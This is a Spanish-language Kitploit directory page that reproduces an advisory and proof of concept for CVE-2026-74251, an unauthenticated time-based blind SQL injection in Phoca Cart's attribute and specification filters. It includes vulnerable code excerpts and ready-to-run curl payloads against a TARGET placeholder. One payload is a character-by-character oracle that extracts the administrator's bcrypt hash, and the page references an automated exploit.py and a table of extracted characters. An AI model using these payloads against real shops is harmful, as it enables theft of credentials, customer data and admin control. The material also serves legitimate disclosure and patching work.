Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-74251 — Inyección SQL no autenticada mediante el filtro de atributos en Phoca Cart | Kitploit
Herramientas/GitHubGitHub/toanln-cov/cve-2026-74251
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosSeguridad WebSeguridad de Bases de Datos
GitHubtoanln-cov/cve-2026-74251

CVE-2026-74251

Inyección SQL no autenticada mediante el filtro de atributos en Phoca Cart

Ver Repositorio
hace 3 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Inyección SQL no autenticada mediante el filtro de atributos en Phoca Cart

Phoca Cart ≤ 6.1.6 — Un atacante no autenticado extrae la base de datos completa mediante inyección ciega basada en tiempo

CVE CVSS v4.0 CWE-89 Affected Researcher


RESUMEN

Los parámetros de matriz GET a[] (atributo) y s[] (especificación) en la página pública de artículos de la tienda de Phoca Cart se concatenan directamente en las cláusulas SQL WHERE sin parametrización ni escape. Un atacante no autenticado puede inyectar SQL arbitrario a través de estos parámetros, lo que permite la extracción completa de la base de datos mediante técnicas de inyección ciega basadas en tiempo.

La vulnerabilidad existe en getSqlPartsArray() dentro de admin/libraries/phocacart/search/search.php. La función llama a explode(',', $v) antes de construir la lista IN(), pero nunca escapa los valores resultantes, por lo que una carga útil sin comas pasa íntegra a la consulta SQL. Dado que getItemListQuery() se llama dos veces por petición (getTotal() + getItemList()), una carga útil SLEEP(N) provoca un retardo observable de 2×N segundos, lo que hace que la detección por tiempo sea muy fiable.


VERSIONES AFECTADAS

COMPONENTEVULNERABLEPROBADO ENCORREGIDO
Phoca Cart (com_phocacart)5.0.0 – 6.1.6Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache)6.1.7

DETALLES DE LA VULNERABILIDAD

Tipo: Inyección SQL — Ciega basada en tiempo (CWE-89) Autenticación requerida: Ninguna — endpoint de acceso público Archivo: admin/libraries/phocacart/search/search.php

Causa raíz

El modelo de artículos lee los parámetros a[] y s[] directamente de la petición HTTP sin saneamiento:

SITE/MODELS/ITEMS.PHP — LÍNEAS 92–93

root@kitploit:~
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET

Estos valores se reenvían a getSqlPartsArray(), que divide cada valor por comas e inserta los fragmentos resultantes directamente en la cláusula SQL IN():

SEARCH.PHP — GETSQLPARTSARRAY() LÍNEAS 318–363 (VULNERABLE)

root@kitploit:~
foreach ($value as $k => $v) {
    $a = explode(',', $v);        // splits on comma — but does NOT escape
    $a = array_unique($a);
    if ($k && $v) {
        if ($searchArea == 'a') {
            // ANY method — $a values are NOT escaped before implode:
            $inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
                . '\'' . implode('\',\'', $a) . '\''   // ← raw user input injected here
                . '))';

            // ALL method — $v2 injected raw into double-quoted context:
            foreach ($a as $v2) {
                $inAS[$iA] = 'at2.alias = ' . $db->quote($k)
                    . ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
                $iA++;
            }
        }
        else if ($searchArea == 's') {
            // specification filter — same pattern, same flaw:
            $inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
                . '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
        }
    }
}

El fragmento SQL resultante se inserta en la consulta principal:

root@kitploit:~
a.id IN (
  SELECT at2.product_id FROM #__phocacart_attributes AS at2
  LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
  WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
  GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)

getActiveFilterValues() en filter.php aplica filterValue($item, 'alphanumeric') a los valores a[]/s[] para la capa de visualización. Sin embargo, getSqlPartsArray() lee los mismos parámetros directamente desde $app->getInput()->get('a', '', 'array') sin aplicar saneamiento, omitiendo por completo la protección de la capa de visualización.


PRUEBA DE CONCEPTO

No se requiere autenticación. La vista de artículos (/index.php?option=com_phocacart&view=items) es de acceso público. No es necesario configurar atributos ni especificaciones en la tienda.

1. Medición de referencia — confirmar el tiempo de respuesta normal

Un usuario no autenticado puede acceder al portal de compras sin credenciales.

Acceso no autenticado al portal de la tienda Phoca Cart que muestra el listado de artículos

Petición HTTP bruta capturada en Burp Suite — tiempo de respuesta base: 76ms.

Petición GET de referencia en Burp Suite a la página de la tienda con tiempo de respuesta de 76ms

2. Confirmar la inyección SQL mediante retardo de tiempo — filtro de atributos (a[])

Se inyecta una carga útil SLEEP(3) a través del parámetro a[color]. Como getItemListQuery() se llama dos veces por petición, el retardo esperado es 2 × 3 = 6s. Observado: 7085ms — confirmado.

root@kitploit:~
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"
# Result: 7.085s — CONFIRMED

# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"

Burp Suite mostrando la carga útil SQLi con tiempo de respuesta de 7085ms que confirma el doble SLEEP(3)

3. Confirmar con SLEEP(0) — respuesta rápida

Reemplazar SLEEP(3) por SLEEP(0) devuelve la respuesta de inmediato (1064ms), lo que confirma que el retardo lo causa el SLEEP inyectado y no las condiciones de red.

Burp Suite mostrando la carga útil SLEEP(0) con respuesta rápida de 1064ms

4. Extracción de datos carácter a carácter mediante oráculo de tiempo

Extraiga el hash bcrypt del administrador un byte a la vez. Restricción crítica: explode(',', $v) divide por comas antes de construir el SQL — las cargas útiles deben usar SUBSTRING(str FROM pos FOR len) (sintaxis de palabra clave ANSI) para evitar el truncamiento por comas, y CASE WHEN ... THEN ... ELSE ... END en lugar de IF().

root@kitploit:~
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match

PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"

curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=$PAYLOAD" \
  "http://TARGET/index.php"

Verificación en laboratorio — primeros 12 caracteres del hash bcrypt del administrador:

Prefijo extraído $2y$10$LNvt... — el hash bcrypt completo de 60 caracteres se puede recuperar en ~240 peticiones.

5. Extracción automatizada — volcado completo del hash del administrador mediante script de explotación

El script incluido exploit.py extrae automáticamente el hash completo de la contraseña del administrador sin iteración manual, utilizando la misma técnica basada en tiempo descrita anteriormente.

root@kitploit:~
python exploit.py http://TARGET

Salida del script de explotación que muestra el hash bcrypt del administrador extraído sin autenticación


IMPACTO

  1. Lectura completa de la base de datos sin autenticación — las credenciales de usuario de Joomla (hashes bcrypt + correos electrónicos), registros de pedidos, metadatos de pago, PII de clientes y claves API almacenadas en la base de datos son totalmente accesibles para cualquier atacante no autenticado.
  2. Toma de control de la cuenta de administrador — Extraer el hash de la contraseña del administrador y descifrarlo sin conexión otorga acceso completo de administrador de Joomla, lo que permite la ejecución remota de código mediante la subida de plantillas o plugins.
  3. Cero prerrequisitos — afecta a todas las instalaciones de Phoca Cart — El endpoint vulnerable es la página pública de listado de la tienda. No es necesario configurar atributos ni especificaciones. Cualquier sitio con com_phocacart instalado y una interfaz pública es explotable.
  4. Potencial de escritura en la base de datos — Si la emulación de PDO de MariaDB permite consultas apiladas, el atacante puede ejecutar sentencias INSERT / UPDATE / DELETE arbitrarias, incluida la creación de nuevas cuentas de administrador o la modificación de registros de pedidos.

REFERENCIAS

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-74251
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-74251
  • Aviso de GitHub: https://github.com/advisories/GHSA-wgm5-xp28-5cmg
  • Repositorio del proveedor: https://github.com/PhocaDesign/PhocaCart
Descargar herramienta
poscarASCIIrespuestacoincide
1$36>6s✓
2250>6s✓
3y121>6s✓
4$36>6s✓
5149>6s✓
6048>6s✓
7$36>6s✓
8L76>6s✓
9N78>6s✓
10v118>6s✓
11t116>6s✓
.........>6s✓